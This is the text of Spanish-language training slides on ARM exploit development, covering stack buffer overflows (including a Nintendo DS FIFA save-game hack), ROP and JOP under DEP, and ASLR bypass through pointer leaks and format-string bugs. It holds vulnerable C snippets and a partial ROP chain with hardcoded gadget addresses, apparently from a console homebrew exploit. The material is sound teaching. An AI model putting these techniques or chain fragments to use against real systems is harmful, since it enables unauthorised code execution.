Introducción al desarrollo de exploits en ARM

C1b3rWall Academy 2020
Pedro Javier Fernández (pedro-javierf)

Pedro Javier Fernández

• Reversing, exploiting, programación, ...
• Secretario @ LibreLabUCM.
• Devblog hacking:

Diapositivas

Conocimientos previos (recomendados)

• Lenguaje C o C++
• Conocimientos básicos computación (notación hexadecimal, etc)
• Ganas de aprender.

exploit

Contenidos

• Conceptos básicos de la arquitectura ARM.
• Conceptos básicos sobre la memoria y el curso de ejecución de los programas.
• Breve introducción a nuestros "sistemas de pruebas".
• Stack Buffer Overflow (no NX)
• teoría
• ejemplo práctico (reproducible)
• Mitigación NX bit y cómo superarla
• Mitigación ASLR y cómo superarla

1. Conceptos Básicos

1.1 El Stack o pila

								mov     r4, #7
							
							

								add     r4, r4, #3
							
							

									_main: //2000000
									mov r0, r7
									bl _IncrementRegister0 //Llamada a la subrut.
									mov r7, r0
								

									_IncrementRegister0: //20064f0
									add r0, r0, #1
									bx lr //Vuelve a la dirección indicada por lr
								

									bl      _IncrementRegister0   @Llamamos a la subrutina
								

									_main: @ 2000000

									mov r0, r7
									bl _PrintText @Llamada a la subrut.
									mov r7, r0
								

									_PrintText: @ 20064f0

									push {lr}
									mov r1, #0
									bl _PrintCharacter @Llama a otra subrutina
									...
									pop {pc}
								

2. Vulnerabilidades de memoria + curso de ejecución

2. Vulnerabilidades de memoria + curso de ejecución

						_PrintText: @ 20064f0

						push {lr}
						mov r1, #0
						bl _PrintCharacter @Llama a otra subrutina
						...
						pop {pc}  
					

Breve introducción a nuestro "sistema de pruebas".

Stack Buffer Overflow

¿Cómo puede llegar un valor malicioso llegar al stack?.

Stack Buffer Overflow

Stack Buffer Overflow

¿Unos fifitas?

TODOS los juegos de FIFA para Nintendo DS tienen al menos una vulnerabilidad de este tipo.

Stack Buffer Overflow

Una partida guardada normal.

Una partida modificada con una cadena de texto mayor.

¡Hemos sobrescrito el valor de LR en el stack y este se ha propagado hasta el PC!

Localizamos que 'AAAA's llegan al PC. Reemplazamos con la dirección donde reside nuestro código.

La imagen completa. Código y relleno.

De esa forma, logramos ejecutar código no firmado por Nintendo.

Por supuesto, funciona en el hardware de verdad ;).

Stack Buffer Overflow en C

• scanf()
• gets()
• strcpy()
• memcpy()

Stack Buffer Overflow en C

Conclusiones: Stack Buffer Overflow

• Secure (co)processors --> baremetal

Stack Buffer Overflow + mitigaciones

No todas las zonas de la memoria pueden utilizarse para ejecutar código.

Stack Buffer Overflow + mitigaciones

Stack Buffer Overflow + mitigaciones

Stack Buffer Overflow + mitigaciones

Stack Buffer Overflow con DEP (ROP)

Stack Buffer Overflow con DEP (ROP)

Stack Buffer Overflow con DEP (ROP)

Stack Buffer Overflow con DEP (ROP)

No existe la instrucción RETURN

Stack Buffer Overflow con DEP (ROP)

							pop {r0, r7, pc} //pop pc
							pop {r2, pc}     //pop pc
							pop {pc}         //pop pc
	
							pop {r4} @pop registro
							b r4     @Esto es JOP
						

Stack Buffer Overflow con DEP (ROP)

						svc #7    //svcSleep()
						svc #0xB7 //svcCreateThread()
						...
					

1. Cómo obtener gadgets

• Archivos binarios de los programas (ELF, PE(.exe), etc)
• Volcados de memoria.

1. Cómo obtener gadgets

• Fácil
• Docenas de scripts.
• Variedad de motores de des-ensamblado
• ROPGadget
• ROPshell
• ROPPER

1. Cómo obtener gadgets

• Complejo
• Programas específicos para cada situación...
• ...

Preguntas Frequentes

1. ¿Podemos hacer un exploit entero solo con ROP?

2. ¿Hay vida más allá de ROP?

Respuestas

1. ¿Podemos hacer un exploit entero solo con ROP?

Sí, aunque depende del objetivo de nuestro exploit.

• Descargar un ejecutable y decirle al SO que lo lance: OK
• Exfiltrar algún archivo mediante la red: OK
• Cargar código dinámicamente: X

Respuestas

2. ¿Hay vida más allá de ROP?

Sí. Cómo librarse de ROP.

							svc 0x70    // ControlProcessMemory
						

						#define ROP_POPPC  0x00150360
						#define POP_R1PC   0x00368fbc
						#define POP_R3PC   0x00145148
						#define POP_R2R6PC 0x0044820c
						#define POP_R4LR_BXR1   0x00238710
						#define svcGetProcessId 0x0030794c
						#define SRV_GETSERVICEHANDLE 0x0030dde8
						#define IFile_Open 0x0030d580
						#define THROWFATALERR 0x003351b4
					

					.word ROP_MOV_R3_4_JUNKTOR0		@ ------------ Color the screen so users know something good is happening 
						.word GARBAGE			@ 	r4
						.word GARBAGE	    		@ 	r5
						.word GARBAGE	    		@ 	r6
						.word GARBAGE	    		@ 	r7
						.word GARBAGE	    		@ 	r8
					.word POP_R0PC          		@
						.word GSPGPU_SERVHANDLEADR	@ 	GSGPU Handle already present in memory
					.word POP_R1PC				@
						.word HWREGS_ADDR      		@ 	Register address for bottom screen coloring
					.word POP_R2PC          		@
						.word MAGENTA_ADDR  		@	Existing location of magenta color 
					.word GSPGPU_WriteHWRegs		@   	GSPGPU_WriteHWRegs(&GSPHandle, HwRegsAddress, &MagentaAddr, size=4)
						.word GARBAGE	    		@ 	r4
						.word GARBAGE	    		@ 	r5
						.word GARBAGE			@ 	r6	
					.word ROP_MOV_R1_0			@ ------------ Wait a little bit to make sure export completes before the crash
						.word GARBAGE			@	r4
					.word POP_R0PC				@
						.word 0xFFFFFFFF		@	r0 ... r1 is zeroed above
					.word svcSleepThread			@   	svcSleepThread(u64 0x00000000FFFFFFFF) this is about 4 seconds.
				

Conclusiones: ROP

• Técnica muy poderosa para desarrollar exploits
• Permite hacer casi de todo.

ASLR

ASLR = "Address Space Layout Randomization"

ASLR

ASLR

• Una de las mitigaciones más efectivas.
• Hace que una vulnerabilidad cómo las anteriores sea inútil por si misma.

pero ...

ASLR

leaking pointer / leaking address

						int a = 7;                   //Variable llamada a
						printf("Dirección: %p", &a); //Muestra la dirección en memoria de a
					

						Dirección: 0xFFFF8000 000A000B
					

leaking pointer / leaking address

						char userinput[100];
						gets(userinput);  //El usuario introduce datos
						printf(userinput);//No comprobamos ese input
					

leaking pointer / leaking address

Ejemplo: el argumento %s leerá el contenido que haya en la dirección indicada por el elemento en la cima del stack.

						printf("%s");
					

ASLR + leaking pointer / leaking address

Veámos el puzle completo con detenimiento:

Evadir ASLR: Pasos

ASLR + memory leaks

• Pointer leak
• Módulos sin ASLR
• Implementación débil de ASLR

ASLR bypass

						gcc overflow.c -o overflow -fno-stack-protector -pie -fPIE
					

ASLR: CONCLUSIONES

• Stack Cookies / Stack Canary
• SEHOP
• Null Page Protection
• ...

ASLR: CONCLUSIONES

THE END

- Diapositivas & recursos
- Código